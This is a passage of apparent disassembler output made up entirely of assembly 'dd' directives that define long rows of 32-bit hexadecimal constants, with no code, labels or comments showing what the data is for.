		dd 0A91A5D71h, 46763ABBh, 50342ACFh, 86AFA7A5h,	1AC4A147h
		dd 1E77E1B7h, 1782F4D8h, 3DC4C88Eh, 0B6EE01DFh,	0C2A4AE36h
		dd 0BFC23B2Ah, 3430B60Eh, 0B0578878h, 9350B022h, 0AE0E0594h
		dd 7CD1080h, 16177346h,	0C3F569FAh, 4F161BF6h, 0AFC144EAh
		dd 8F518610h, 71B7A82Dh, 0EDA28EDDh, 797A59E4h,	35AA0A6Fh
		dd 0F02B9F10h, 0CA162AF3h, 5B2AC4A9h, 9C56B3CFh, 0E65CF81Bh
		dd 1239F3CFh, 1A9070F9h, 46F37BC6h, 0CE7A010Ah,	6DD33680h
		dd 347C0E71h, 1DBC6FACh, 2A9CDE9Bh, 1CB0B4AAh, 0F82A6CC3h
		dd 0A46292F3h, 0BAFFCA20h, 198B7B0h, 0BBD81E9Bh, 328B1430h
		dd 88E40D9Bh, 23BB51C9h, 3DE21748h, 0A12629BFh,	0A01525F8h
		dd 486739E8h, 0B3D55365h, 0ECFBA83Ah, 79906DDCh, 293E1E03h
		dd 5BB64C5Eh, 93F9C40Fh, 0E7565F22h, 38869356h,	0F36E3F5Dh
		dd 4BAC87B2h, 0F74108A5h, 0C56F7A52h, 0BD908CC5h, 8C68EC62h
		dd 0B4406519h, 0D63DC32h, 877E7BE9h, 232FDD74h,	1CD17268h
		dd 7BE0CA21h, 0DE6C5883h, 0C8B579E2h, 14CF1B67h, 0A3B0D6DAh
		dd 442ACAA8h, 93A63ECFh, 8E032140h, 4A6CC742h, 0BECD4FE6h
		dd 396B16DAh, 797FE06Bh, 73E3AF87h, 0F553C1E9h,	175B315Bh
		dd 68671F62h, 0A18D40F5h, 0CBB0368Ah, 8E5F26FAh, 78C1D38Ch
		dd 148C7B45h, 0FE664579h, 0C10F7BC3h, 0DDD4FF2Bh, 2F10B7F6h
		dd 9BAA9418h, 4103F1C6h, 69B1CD16h, 0F774AFB2h,	0AECFC856h
		dd 10A96D64h, 1B6F3E0Fh, 7C818EEBh, 29B41C3Bh, 68D4858Bh
		dd 98B689B6h, 0EAD5B65Bh, 3079986Bh, 0D4409B05h, 1C95837Ah
		dd 77F73351h, 0F94515F1h, 968AA209h, 993241BEh,	8C32A691h
		dd 0B9AF1012h, 0EF5E71C2h, 8914D9E1h, 6D43C495h, 2989F914h
		dd 0D375B0F5h, 5FABC958h, 0B337C7AEh, 7FF1AF8h,	0C577EE48h
		dd 0DC23D4F6h, 3806BBC6h, 93794A60h, 0EBDE0481h, 965DFA51h
		dd 6FF62711h, 0EA49E969h, 17D36CE3h, 0AF6AC064h, 0E5381AA5h
		dd 0E40E7894h, 0FDDD7207h, 38868DFCh, 0D5C5FB22h, 432D3686h
		dd 0CB9B82AFh, 0F6905D29h, 8A556007h, 66B423Ch,	848B4112h
		dd 6520651Ch, 0C0D7B0F4h, 762AAAE0h, 47D0358Ah,	0C499EC66h
		dd 0F01F0AE1h, 0C133D0E0h, 8116BAFCh, 2FA81BF5h, 0AF352CC5h
		dd 0B5CCE44Eh, 8FD5D3E9h, 0F08578AFh, 54DB50CFh, 0E66A246Bh
		dd 4A1487EFh, 2BB3A945h, 0A3CD9916h, 86EB57D7h,	0B4A24A97h
		dd 891F3883h, 30FC4A8Bh, 0CF2650ACh, 7DAB6F00h,	0B64BF706h
		dd 97249C7Bh, 3C060204h, 3DD075E5h, 791E6F6Ah, 0CBF0B6B6h
		dd 6B17207Fh, 0A6477699h, 81DA9416h, 3E250031h,	2A04696Bh
		dd 204469ABh, 0E1BB614Ch, 40A75163h, 9B98D77Ah,	1A92716Dh
		dd 6724BC91h, 9DFD1786h, 77A32E65h, 5B79AB79h, 227B0104h
		dd 4D42A522h, 5F725B13h, 893C237Ch, 2B2F6F04h, 38330DCDh
		dd 8E699D59h, 729F5591h, 0F15268ABh, 0F80B7275h, 69F46B67h
		dd 0EB1B81D7h, 44203E99h, 3A12C318h, 15EAEBh, 0A464147Eh
		dd 675A6214h, 0F60BD1F7h, 30B14937h, 77F44909h,	2EBDA69Dh
		dd 5E0A1F8Bh, 69FFAA0Ch, 34F2B334h, 0EF57D990h,	0D71110FEh
		dd 0A9936FC4h, 1F8FDED0h, 21B51D88h, 0DF61F836h, 14445A9Bh
		dd 0FF759150h, 75A792D1h, 73D31FAAh, 859348FCh,	25D7A3CDh
		dd 975E0167h, 0B69DFD3Ah, 4E8A7C98h, 0C069283Fh, 390722C5h
		dd 941EEBA4h, 135A783h,	0AADF5C49h, 6F9EC512h, 7C444734h
		dd 4B41D81Ch, 50266A45h
		dd 552A0749h, 0ED42F22Ah, 88945F41h, 66994876h,	2BEA051Dh
		dd 0B11BB87Eh, 874F014Fh, 1BF9D79Ch, 4EE8E526h,	0F2DB4131h
		dd 0F4C7BEEFh, 0BC1E3B84h, 22D175C1h, 1CE6DD54h, 0E9D59763h
		dd 9E530BFh, 9E3F5B4Fh,	6D057260h, 0B3DDF376h, 0B1C2C0E2h
		dd 90A977D0h, 0C4E2D915h, 0ABACD8E2h, 4D50793Eh, 63194C60h
		dd 4BF6B1B6h, 2017B9B6h, 14AF02F6h, 0CC232A13h,	36507CD9h
		dd 0BFF5292Dh, 0B109C090h, 0DA44C47Dh, 4F97981Dh, 0A3DB48A9h
		dd 0B15FAE70h, 0C7CDFC3Ch, 1F0E1EA4h, 0A94B2E7Bh, 0F24ABB00h
		dd 28169D7h, 9197592Bh,	88798C51h, 65DBB7C7h, 7CDC51D8h
		dd 87E61C4Eh, 6EA69B58h, 2D45953Dh, 7AE12B52h, 0B07BBF43h
		dd 8FA9914h, 0C3659BB3h, 833DE736h, 89E77125h, 0C16FD288h
		dd 2A574B96h, 5882EC73h, 0FC9888A4h, 0E9ADCABh,	0AA9C148Fh
		dd 0EF416D07h, 4EB441C3h, 0FC1F3947h, 0A6EE289Fh, 0B080677Ah
		dd 0B2260E64h, 0BDA8DF82h, 76D3B05Ah, 1C453691h, 33800CD9h
		dd 52117FB0h, 0BA29F9h,	0D8DEEF13h, 604E5D44h, 0DE1EEAEh
		dd 9D80D6A4h, 0F16D2F1Fh, 5CDE7837h, 10B6760Bh,	0D3DA541Eh
		dd 4763061Bh, 80626115h, 69CADEDFh, 39134DE8h, 0F6BDB848h
		dd 1A7CFFFCh, 53A23243h, 4EF7990Fh, 2154E533h, 0A0E72D27h
		dd 2D7D1577h, 0A86E1F1h, 3B453F74h, 547863E1h, 511E3164h
		dd 0C2CB7719h, 154FA27Dh, 380344F4h, 0BBAD9933h, 97DDBC29h
		dd 6AB3E40Ch, 40B616B5h, 0E7C1246Dh, 0BEB22D7Ah, 60F1E02Bh
		dd 8357CA9Ah, 0D5F3C263h, 0C745845h, 1BEEDE3h, 257A1C72h
		dd 0BFD9E5h, 419DD0C6h,	9CF2A508h, 0E89CEF04h, 7D825A13h
		dd 0F0821768h, 0FCA9F52Fh, 36DEDFB4h, 0C6A08B85h, 588D5AADh
		dd 0F22ACE5Bh, 83ED930Eh, 9C7CAD66h, 6671C97h, 0FB5D5339h
		dd 1B11B6C6h, 1D1AFCF1h, 0C46B260Fh, 0B78AD154h, 0AC51D31Dh
		dd 0BBB41702h, 9D07FB5Ch, 3EEB6979h, 787A7D4Dh,	9F6EA8FDh
		dd 8D264DC6h, 581934FDh, 5976CC67h, 86EEE238h, 138EB2A0h
		dd 44E9927h, 0C2878877h, 569EBF92h, 0F7F0E9F8h,	8C080D06h
		dd 0C6959A6Eh, 0C72E4959h, 2B7E71BEh, 7B37E7E8h, 6DB624A6h
		dd 72D5F6BCh, 0BDFFB292h, 0A60D7B0Ah, 80FF2A3Dh, 0B1605C7Bh
		dd 5F7D031Ch, 2D6528Bh,	43644450h, 53CCB891h, 5A9DB867h
		dd 7F0AB52h, 6F0566EBh,	4334B3E4h, 0AB28D029h, 0DFC2BF49h
		dd 16D1130Eh, 0D4042BA6h, 7E9E4747h, 800B81FAh,	6747C4E5h
		dd 89ABFBDCh, 0F580235h, 331ED0DEh, 5E45688Eh, 2A69EE39h
		dd 2212A733h, 0CE751457h, 693EC098h, 0FBE5A49h,	463060EBh
		dd 6784DE41h, 6549F162h, 85433594h, 3E7FF6E2h, 0D7835D29h
		dd 0EDAF761Dh, 292EEDC0h, 4527F0F9h, 2B9C42FCh,	968317F8h
		dd 431FE9BDh, 57C9EAC6h, 21462DC5h, 0B530C809h,	790CB17Ch
		dd 577E241h, 622E841h, 14B44A66h, 3DAB68C5h, 0AC6E4437h
		dd 12B8CF33h, 0E8A106AAh, 4F80BF2Fh, 0FED50462h, 1CB22A2Ah
		dd 4A3EFFB9h, 0B9C12D11h, 0A020A370h, 45790CF8h, 0AD754AAEh
		dd 3C84AEABh, 0F8F2AB51h, 3CB32584h, 0F228F95Ch, 0AE619C49h
		dd 1A341BBDh, 3AAD1F16h, 533CDB8Dh, 54237E0h, 3E20E286h
		dd 29C18A78h, 0F496DE80h, 2988EB62h, 0EB1A3A52h, 0F0A28104h
		dd 7E0E9142h, 22A68B20h, 78E026BDh, 27729B5Eh, 0C59A892Fh
		dd 2ACAD52Ch, 888AA586h, 0BD6827B8h, 0B52F2599h, 0B370D722h
		dd 0D96D7AC1h, 0D03B94F8h, 0D3D7AA82h, 9048C532h, 7FBFD836h
		dd 11263E37h, 8A1A9238h, 6E383E24h, 82FA2970h, 79242FB0h
		dd 334F1EBBh, 22B83F1Bh, 0F061A950h, 0B3DFB6A7h, 0D1FB33CFh
		dd 7F96BBCAh, 0ECF3446Fh, 4714EB9Eh, 0EC700181h, 0A1A7604Fh
		dd 24C356A8h, 0FA677F92h, 76F7879Eh, 7439F764h,	303ABF5Ah
		dd 0FC87A1ABh, 0DD41994Ah, 2D874AACh, 0FBA2E72Ch, 6F7E8C47h
		dd 199210BBh, 0BA1F6C48h, 3EA5D6B9h, 0D6D30B09h, 3D2D3A4Dh
		dd 0AF3B48C5h, 646C709Ch, 0F8AE2C0Ch, 598F8BC2h, 0AFC21671h
		dd 6F04F62Eh, 0B9014C40h, 0E66AF890h, 0BD39E62Fh, 0DB3F2FEh
		dd 0FF523531h, 7A5018Bh, 7E818260h, 3A172514h, 6361CA23h
		dd 63E77EE1h, 242DA4CBh, 4D357029h, 0EB60936Ch,	4DE1F478h
		dd 0FFD2D21Fh, 322174DEh, 9704FFB9h, 0EE2D59EAh, 0C197520Ch
		dd 26392646h, 7878419h,	493360F6h, 118A5ECBh, 4C3BB0D9h
		dd 61AB474Ah, 4365FEDAh, 0A42CA331h, 72C249A6h,	0D98F33F0h
		dd 0A85E2ADAh, 0B096E8BFh, 3E3EC93h, 31EAC553h,	0C44D1EA3h
		dd 17501819h, 8C6BB118h, 3BBD7978h, 0B478DA38h,	0CDCA2F8Dh
		dd 6E09D846h, 44F5C1A8h, 1432E50Fh, 0F6476EB1h,	83A96B70h
		dd 0F18A4FB5h, 73D3BC60h, 0B7F4E9EAh, 4A9C9422h, 0F5322F12h
		dd 921D071Dh, 0A0319004h, 0E48AA22Ch, 98FD887Ch, 0EC6CF8D2h
		dd 0A0616002h, 0B22EBD52h, 0EDF39020h, 9144C27Eh, 622E5E10h
		dd 9073AF8Dh, 4A0DDCF6h, 0B027504Ch, 8D3DD0C2h,	0DD126155h
		dd 8754E29Bh, 0FB8F93h,	59EE0226h, 0D518E82h, 0D1B50C4Dh
		dd 303A435Fh, 6EA89849h, 0F6FB2B15h, 42F1A1A2h,	0EC641456h
		dd 6FB195E1h, 2840532h,	22EBD76Ch, 0F9D06BD5h, 0BF035616h
		dd 0EAC2161Eh, 4616EA3Ch, 9F0C8041h, 5BBBCB2Bh,	7A1F5DAh
		dd 0B7AF355h, 87E04249h, 0B59E0331h, 2C826AB6h,	1673BD54h
		dd 3D11E0F2h, 0B9E8A0ADh, 0D078C3C3h, 0BB68866h, 0EE01D0E3h
		dd 0F3B1F228h, 126CE834h, 0B65041CCh, 80DAADCFh, 70BC8436h
		dd 3E392C8h, 699F7ACFh,	25813D59h, 3A89103Fh, 0D41FFFA6h
		dd 5F356C92h, 0ABDD9C71h, 0E45E23F9h, 0DE18CE51h, 0F270990Fh
		dd 0B1D501Dh, 0C41761B0h, 9334FE87h, 4369698Eh,	34669B21h
		dd 1EABE9C5h, 0FA53234Ch, 0E522B371h, 8DF3EEC0h, 38853478h
		dd 9FC4E077h, 0F83B0A95h, 0EAB3DF6Dh, 40C8783Ah, 5ADEA23h
		dd 3C0C770Bh, 28AE34Eh,	0AA6FA220h, 0E3ACEDA0h,	35A23B62h
		dd 4841FE78h, 816DEEF6h, 0D71699B3h, 0FEB8C898h, 0F6C5786h
		dd 0FB28ACEAh, 824E60D1h, 0FCB082FCh, 9EDE92F6h, 87B55E40h
		dd 27735737h, 3FF3B5EFh, 21E9028Ah, 0A0F0D1A2h,	0E32F8AAEh
		dd 0C6F6E7D2h, 0BC6166C7h, 0D69D8A35h, 48E24422h, 7C8AF8ADh
		dd 85D480CBh, 0D085D341h, 39D4176Bh, 94ECE962h,	0BA5D32B4h
		dd 201E48C3h, 62795444h, 3EEE34B1h, 8A6DA810h, 0F50495A5h
		dd 0B1A048FEh, 0E145A2B7h, 0F5D66436h, 6EE64E5Ah, 0D3378F90h
		dd 73DBEEE4h, 0FC057ACEh, 8C297D6Ch, 663CE52Eh,	0CC470892h
		dd 0C2D6FD07h, 24AFB6E7h, 0E9B30FBEh, 0E3266BDBh, 0E91311DFh
		dd 11F4A4D4h, 2C8B82DDh, 762BAF0Eh, 0D6DD19C8h,	0FF46CB62h
		dd 57487C62h, 0D413E152h, 7F955A6Ah, 87B66B2Ah,	785F9562h
		dd 0D53BF6CFh, 81887102h, 0DC5C6C64h, 536BD5BFh, 81854EE5h
		dd 5FCADED8h, 0A9C28DE4h, 9114ED7Bh, 81A4A55Bh,	0B7A51BD5h
		dd 3B8DB153h, 331443B5h, 8AFB7481h, 9D692BC4h, 6092510Eh
		dd 656E2821h, 4DDC4DCh,	0F79C6F0Eh, 8D446F3h, 771F3681h
		dd 0E7B5F196h, 69FA9ABh, 7EA60FD3h, 0C6D83D2h, 164B4254h
		dd 27CD0088h, 1643C72Dh, 0E0B9032Fh, 52828A0Fh,	0DBC4F2FCh
		dd 0D825BD3Ah, 581B173Eh, 83B45EF0h, 2DCE5F3Bh,	0F73C8017h
		dd 0CF55BB5Bh, 9B89F508h, 0B137601h, 0A0962ADEh, 87BE5F1Dh
		dd 0B170174Ch, 0B162E3FDh, 0DF697CD7h, 7E73204Ch, 0CC5646A5h
		dd 0C5DA88ABh, 1FA75BFAh, 554812EFh, 0B6F1AA42h, 57249F93h
		dd 4EE41C7Bh, 0F64EAC74h
		dd 0F05F38F9h, 0C2C8C2F3h, 5F86DCA3h, 0B4312D28h, 0A3DAD7D4h
		dd 2F4DD429h, 7F2E7752h, 7F8648CDh, 1CBF1BE0h, 0FB7EDAA3h
		dd 0BF16990Eh, 0C7C5C991h, 2DB7326Bh, 25D93D16h, 6DB39F8h
		dd 5BAAE2D6h, 13AE1F2Ch, 0CC6CD211h, 469AE587h,	0D8C4D7CBh
		dd 31689069h, 13EDD135h, 0BCAC1539h, 0C5F4FFD1h, 5E8CF6C0h
		dd 3D34EF21h, 156758D2h, 0F5E0D68Eh, 27DCD3FFh,	0AF998813h
		dd 0E54F33CDh, 604F094Fh, 60925AE5h, 63EF4DA4h,	9445D175h
		dd 69C2F1AFh, 48F420DAh, 0FA649D5Fh, 630C82B4h,	0A2279572h
		dd 753B7738h, 8CBCAC01h, 8644A91h, 3E225707h, 63357110h
		dd 18EF2BA2h, 0DE02FE42h, 2370A1DCh, 0A93EAAB7h, 0BF40E8B8h
		dd 0E985EFD2h, 36022563h, 0B486F8BDh, 5BCB344Dh, 9B7D047Ah
		dd 0B81DADACh, 0E511B0B1h, 3EFBF132h, 202E7AE3h, 0CE520636h
		dd 0FF15BE34h, 0AF6550BAh, 3021C441h, 77729A6Fh, 0ABAAD71Dh
		dd 39F36BF9h, 7373A8CBh, 2D2387DFh, 1A4C73F1h, 8F6F33A8h
		dd 0D962EE1Eh, 1E36994Ch, 7925A05Eh, 23977DF9h,	6992C149h
		dd 3091EE09h, 0B56495F0h, 0E1DD5922h, 0B57BEDDDh, 32EEA633h
		dd 79857DFAh, 5466F840h, 95E584CFh, 0EE2B2B48h,	0F160BB00h
		dd 5C727A8Dh, 5D032514h, 0B52AB348h, 0B58C0B3Dh, 2234ADF7h
		dd 8CBFEAD9h, 0E2806993h, 9E901D29h, 4ADA7CBEh,	29A04532h
		dd 50979C6h, 0B8E618A0h, 85C1AC93h, 0DAD333C4h,	0DECFAE5Ch
		dd 0F34C637h, 222E5122h, 9BB48749h, 0E4997989h,	0EDC4584Bh
		dd 4BAE2205h, 8CB1AE19h, 0CA72ECEh, 0CDA60C27h,	346EE8C0h
		dd 96E8B570h, 149D23D8h, 0FF61BB7Ah, 0DC667F0Fh, 896D3B4Dh
		dd 0C6E58E19h, 0B72B03C9h, 0FE57037Eh, 5AA91260h, 0A6766D04h
		dd 210EBA1Fh, 4386B871h, 3D200FBDh, 0E0F15E6Eh,	0E1511746h
		dd 2B4A854Dh, 9CE17D07h, 9435D12Dh, 0CF14EFBCh,	0D47BF7E5h
		dd 0CA09F64Ah, 0AFA7C018h, 0D6FFF6C5h, 39779835h, 0BB729C94h
		dd 17590D31h, 46D6672Ch, 0D841B8FEh, 64F0EEB3h,	8689D938h
		dd 8217CCA2h, 2669545Ch, 0E88EE69Fh, 12BD1A90h,	12BEB854h
		dd 0BB4E7E7h, 0CDE94Eh,	6EE90782h, 3FC7A810h, 9C70D559h
		dd 4A25E9E0h, 2DADD50Fh, 0B101CACh, 848FA5A1h, 8B71B3E3h
		dd 44CE9533h, 0B2B2A8FFh, 52682F18h, 0FB49C678h, 5ACECC75h
		dd 6166DC6Ch, 355BBA68h, 0EE1AADB2h, 0CA8C55FEh, 635C7AB5h
		dd 0A89CCA71h, 245E5805h, 2D831D1Eh, 904789E7h,	0CB621629h
		dd 23A625FCh, 94CF9BA6h, 0EEC6AA91h, 0D5DBDE06h, 92E02F9Fh
		dd 7F22D1EAh, 0BBB2FA9Ch, 79DC3117h, 0DBAE7C6Ch, 80FE753Eh
		dd 2E9CE2FDh, 0A951DB87h, 3A908297h, 95CD5CBBh,	761C6C86h
		dd 1267BCB3h, 1799C0FAh, 35C73414h, 0DDE5983Bh,	0F201F035h
		dd 9A06644h, 2ED2D694h,	0B9F4C364h, 0B9567B17h,	2B5C596Ah
		dd 70D2FA49h, 627CC49Fh, 7EB0D631h, 994DE397h, 0C15E7E78h
		dd 0DE4C20D0h, 0DD4CCD0Fh, 0C296B141h, 123B263Bh, 9BFF65BBh
		dd 1CE628F2h, 0E123502Bh, 0EA0EFB9Fh, 0C6B7BC8Eh, 9D75C610h
		dd 77D48A21h, 4DF08F21h, 814BE0F2h, 0C2889CE3h,	522289E3h
		dd 7994DDEBh, 7555864Ch, 4BFD7EE6h, 0BE89B478h,	5CE8076Bh
		dd 0BF38079Dh, 368B86BAh, 385DACCEh, 1E7740h, 0B9ABA6E6h
		dd 0ACD1D842h, 0C095A44Fh, 0FD992C3h, 0A712637Fh, 5BCA8AE5h
		dd 85AE1149h, 3794B693h, 6DD7DA92h, 0CF7CF15Bh,	0D8A8A727h
		dd 0A8E6B134h, 9777777Dh, 34BDCC3Bh, 0B03ED4E4h, 3B5D1B4Fh
		dd 2CD5B78Dh, 3533A2D8h, 64C2C9EDh, 0A4AB155Dh,	9F332458h
		dd 70460B3Eh, 49634FAh,	0EEA57684h, 3E133F6Fh, 0AE308111h
		dd 0D1F260ECh, 44439935h, 80B417B2h, 0C13C29F2h, 0A7A7F0B9h
		dd 8F365B2Ch, 0AD647467h, 1B95BDB2h, 62F77E5Ah,	0CA11D824h
		dd 3BC22240h, 8D88C1B4h, 0BABE2BA8h, 0DBA1A956h, 59EB1324h
		dd 0DED1B155h, 0D2FA284Dh, 0E1FD6640h, 35DD782Fh, 0DEFE6AD1h
		dd 69633657h, 0F38553B3h, 101D45CFh, 0A399825Ch, 9CEF5686h
		dd 0ECC9CADFh, 0AD80B81Dh, 0F2E2C96Ah, 7E52D1D9h, 84618AA3h
		dd 9F0AB7CEh, 47F131FCh, 6C1A7AF7h, 9EE01AA7h, 0C2D4FF4Bh
		dd 6120EAEBh, 89BEC1A9h, 9122DDDAh, 56303803h, 8F3D7C21h
		dd 8E29958Bh, 108A13C7h, 6CDEDA44h, 42BE1D0Ah, 8E1322ACh
		dd 0D86348DCh, 714F2950h, 9ABE8148h, 0BBF78FE4h, 0ACDB1707h
		dd 183FE55h, 0CE197E17h, 0DFF5AC83h, 26D4032Ah,	0E2F9C72Ch
		dd 419E7B32h, 2AF78157h, 0E65DC715h, 0DBCE83F5h, 2F86F3FAh
		dd 4987BE1Bh, 3509E97h,	373B3979h, 0B4045A1h, 6DC3D908h
		dd 3C02CA6Dh, 0F969E1C4h, 0E5BD5B6Dh, 89FB5088h, 0C25003FEh
		dd 0C1F70DAEh, 0FABD3326h, 0DE0D828Ch, 1732CFFFh, 3928142Fh
		dd 9FDAA2BAh, 0EE57713Bh, 0DC7ECF60h, 172B300Fh, 760AF6D7h
		dd 3AA90B56h, 0F67CE93h, 87A784Fh, 0C87C13A1h, 9A670979h
		dd 1C0EADF3h, 7110E051h, 64A1A4F6h, 57E54CEFh, 0EC1EC72h
		dd 0F12D8CC4h, 3993B21Eh, 411230DDh, 117F145Fh,	0C33FAD8Fh
		dd 8B90CD60h, 908D500Bh, 0D62B04A6h, 30D61A20h,	0D89A9272h
		dd 72017B6Ah, 0D0B278A0h, 99473AE8h, 429F22F9h,	0B5055EFDh
		dd 6D2FBh, 993D19A0h, 337BB1A2h, 0E4472764h, 9B5BCCDAh
		dd 5735AE65h, 8DFC64E2h, 0A20C0C5Ah, 0CFEB2658h, 0C67ED0C6h
		dd 8567F429h, 0D8FB6955h, 0BFEBF52Fh, 0B50EF88Ah, 1FC43CC6h
		dd 0D00F043Fh, 0B2AE750h, 0F2480788h, 0D145EC43h, 0C89CA5AFh
		dd 0E4CE3662h, 19E4E817h, 0D0949DDDh, 31396D2h,	0CDAF9FFAh
		dd 91D56A53h, 58EEC6A2h, 50134D3Ch, 2524FD8Ch, 0F4DBA91Ch
		dd 5673DE59h, 7F240AF3h, 0CE387EE4h, 84F9ECA3h,	4D581CBh
		dd 31FABB50h, 5F7C4FDh,	1DD5B4E7h, 4EE17DBFh, 54BDA35Ah
		dd 3E68BE99h, 0DC97CF65h, 48C513EDh, 39BF2D73h,	0FA63EB36h
		dd 649844C9h, 0AD0C44D5h, 0D862084Ch, 0F5A79D6Ch, 91C6FF38h
		dd 0D38A9E38h, 39516D94h, 0C9E48D22h, 7BA12D2Ah, 2A2DFE6Dh
		dd 0BCCD7104h, 7211B65Eh, 72935609h, 0BF7CF5E4h, 97A30E04h
		dd 0CC4C3259h, 582E1D17h, 0D5188BB7h, 0CB15F547h, 6CB310B5h
		dd 0E7E32030h, 0E16C2E09h, 26042FD9h, 7827D3B1h, 349016D5h
		dd 0C57F7292h, 42DB35C3h, 804453A0h, 0A2BB736Dh, 0EA43B680h
		dd 0AEF70CA3h, 3B087DECh, 0DD5C5F8Ah, 161DD749h, 0C2638544h
		dd 833A822Dh, 0FCC42924h, 3A7FF719h, 3498947Bh,	0FEFFA109h
		dd 0DEEC0BE7h, 29D08DC8h, 2403DF19h, 54D33BF5h,	5FCBC7DCh
		dd 566F2DE4h, 2C2A98C0h, 1EBECB76h, 0A51AD4CFh,	0D7EC223h
		dd 2B2F4FB3h, 1DA606F6h, 648981FBh, 329851D5h, 7C3BE883h
		dd 0EB73223Bh, 111C2DFAh, 0BE7A60C2h, 9419E3Ch,	44337478h
		dd 0B1334739h, 47CDB53Bh, 185F60Fh, 7EB348BDh, 6B3956CDh
		dd 74D685CEh, 50FF41ECh, 6EE5C522h, 9A0A82E0h, 0C81C2C5h
		dd 7F07C839h, 0B146F91h, 6790118Ah, 0D51EC393h,	3B67F7C7h
		dd 0E572591Dh, 2B6D717Dh, 4D2A1A48h, 7C21443Eh,	0BF8A7691h
		dd 0CDB2D6BBh, 3378F169h, 0AC226E37h, 7E702065h, 65996FE0h
		dd 95892159h, 935568E7h, 581D35F2h, 80E4293Ch, 4CED4F64h
		dd 506B9AFEh, 25C2D36Bh, 5A3C905Bh, 7D3DD816h, 0D8CD951Ah
		dd 0CB4DB720h, 33A57BC9h, 0A88715CCh, 7A5CF40Eh, 0C8496565h
		dd 479DBC0Fh, 5F2C6A0Ch, 9704665Dh, 0A84E6C33h,	8DCEE30Ah
		dd 0AB84A87Eh, 70DEF38Ch, 46FFA230h, 26E7CA0Ah,	8BA795AEh
		dd 36531F3Ah, 8DE846Ah
		dd 67611BACh, 0A1EC412Ch, 8784C8FDh, 4937D109h,	63805087h
		dd 92C44A35h, 25E01806h, 4580AD65h, 61FB977Fh, 7CED118Ch
		dd 63577F45h, 0E003D0F4h, 0CE889474h, 0EA19E8Bh, 6A302743h
		dd 6D30FBFAh, 5BF986CAh, 242461D3h, 0E1F9085Fh,	0D663469Dh
		dd 8683FFB6h, 0A1B69343h, 1AC70A99h, 5C416C0Ch,	6E79DA5Ch
		dd 36E0D435h, 0C97F3452h, 1035D929h, 6076D648h,	0DB58821h
		dd 53208B33h, 49937AB6h, 2B08A4ABh, 7C138D40h, 0B88FEFD8h
		dd 83F5824Ch, 1422626h,	9953D39Dh, 76CBE8E8h, 5D6DEAE8h
		dd 0F70572F5h, 53DDF96Bh, 6725679Fh, 0B634EE78h, 49C6042Ch
		dd 0E35ECA40h, 5F2A5FADh, 0B2A77A0Ch, 1B5F2E9h,	30B786A9h
		dd 0C8F889DBh, 881A0138h, 0C224C301h, 46FC742Ch, 30660D28h
		dd 3B705089h, 0EB4C19DFh, 3F2A17E8h, 0A55B8782h, 0A9E59973h
		dd 682C4A07h, 0ADF5219Eh, 0AC34E998h, 521F2FD4h, 89D2F0F4h
		dd 0AAFB438Eh, 0D710E52Ah, 0F6353403h, 0CCC6680Dh, 48FAF46Ch
		dd 361Ah, 0AC1CA711h, 0ABFD09A5h, 6628D658h, 9A9B6C2Eh
		dd 53D7D054h, 165D9F7Ch, 0C37FD12Dh, 8A451C97h,	832DECC1h
		dd 0D9132F08h, 939C6C50h, 5ED9E66Bh, 0F2FBC879h, 0F7698D5Dh
		dd 72762A87h, 2B8CB5A8h, 9C9B7D11h, 4F0CD5D1h, 0B18E15E4h
		dd 0D38A73E8h, 0A705DD45h, 8A32DCAFh, 4B202577h, 626770Fh
		dd 5E04E6A3h, 0FD49ADDh, 0D453B5FCh, 1E0AF8F4h,	19682E43h
		dd 0EFDC9D96h, 676BF68Eh, 20667A21h, 3134566Eh,	0DC4F7C16h
		dd 97F65854h, 0A3253E70h, 0F0CD7B54h, 11844149h, 6100FB32h
		dd 0C215B7CBh, 812EA2BBh, 4451DF7Dh, 183A287Ah,	0E1EF2D2h
		dd 0DE112BADh, 98399E12h, 5937B29Bh, 796E0F8Eh,	0C128402Ah
		dd 90A28D28h, 0F99076D1h, 4CABA724h, 954547D5h,	0F6FDEE50h
		dd 0F41DBDD6h, 1422457Dh, 658E4DACh, 0D400B03Fh, 6020B792h
		dd 91F6CF03h, 0CCAC7DABh, 5EC9D177h, 5975E3C7h,	0A855FE41h
		dd 0E5FD8987h, 0E51CD9FEh, 0F6C585C7h, 539FC6A0h, 3EC11F5Ch
		dd 0C687480Dh, 35B41022h, 8E9EC914h, 0C04A5658h, 5C9AFEB8h
		dd 0EA109B51h, 4CB5C8C3h, 0AA2F226Eh, 0EB16B8ABh, 0B604506Fh
		dd 620B14C5h, 767ABD0Ah, 971675D0h, 0EE44DAE1h,	7AC0F7C6h
		dd 0D2D720B9h, 4D48EC04h, 9341D70Dh, 41B30BBh, 8BC76AE1h
		dd 0B71AFBC0h, 39584801h, 22B95795h, 7FCD576Bh,	2EE615D6h
		dd 1FEFC2Ch, 99C156ECh,	8AA0AC74h, 0A229B015h, 82F80C0Ah
		dd 0C710D2B3h, 7A5BA802h, 95AAC0FBh, 0BD823BD1h, 8A67A1E5h
		dd 0FDA977ACh, 2B61A6Eh, 0A84732Ch, 36A43636h, 93FC9A52h
		dd 5045E75Fh, 8C330D8h,	83E811C4h, 79B762C8h, 432D1E82h
		dd 9010EE6Ah, 7DCE32C7h, 9D625786h, 0EB57E4FDh,	0A4729FEDh
		dd 7495883Fh, 8FD5AA5Ah, 96E80A19h, 5D62149Dh, 0ED575DA4h
		dd 6E70AA19h, 0BD7974EBh, 0DBEE7091h, 9232CD9Bh, 0DA422E49h
		dd 0F33C8E0Fh, 39F69A6Fh, 1F7D30A0h, 0E24008DAh, 0DB35BA4Fh
		dd 784FAB19h, 55F58DB7h, 0F77072CEh, 126ABF56h,	73FC5F5Fh
		dd 0EBF1081Fh, 0D81E84EFh, 220C3C62h, 0CB5D81AFh, 7A8D5501h
		dd 87079D79h, 70AD14F2h, 0DB5963C2h, 71DC261Dh,	338AD8D0h
		dd 306FE375h, 0A8964550h, 2199A7Ch, 2EDE7C2Ch, 4F336AFCh
		dd 0CAA2CABDh, 13D5AF25h, 0D93B654Ah, 69C600EAh, 672B6BCDh
		dd 302CB2C2h, 96097D1Dh, 0B51B01A3h, 1925DE4Eh,	78ECAD5Bh
		dd 0B516297Ch, 0F56D423Ah, 0E30390CCh, 8DCFD9FEh, 6BC5B5D5h
		dd 6B7B7D25h, 24DF0C43h, 89A30E75h, 0B83ACBDAh,	0C0B1C1EBh
		dd 7EB572C7h, 0E67F2FF0h, 5F8DDB35h, 0FD5DE6D7h, 0CE87E33Fh
		dd 76EFA0BBh, 0D2F7952Fh, 78D7F7A1h, 1B92F30Bh,	4C2BB4EBh
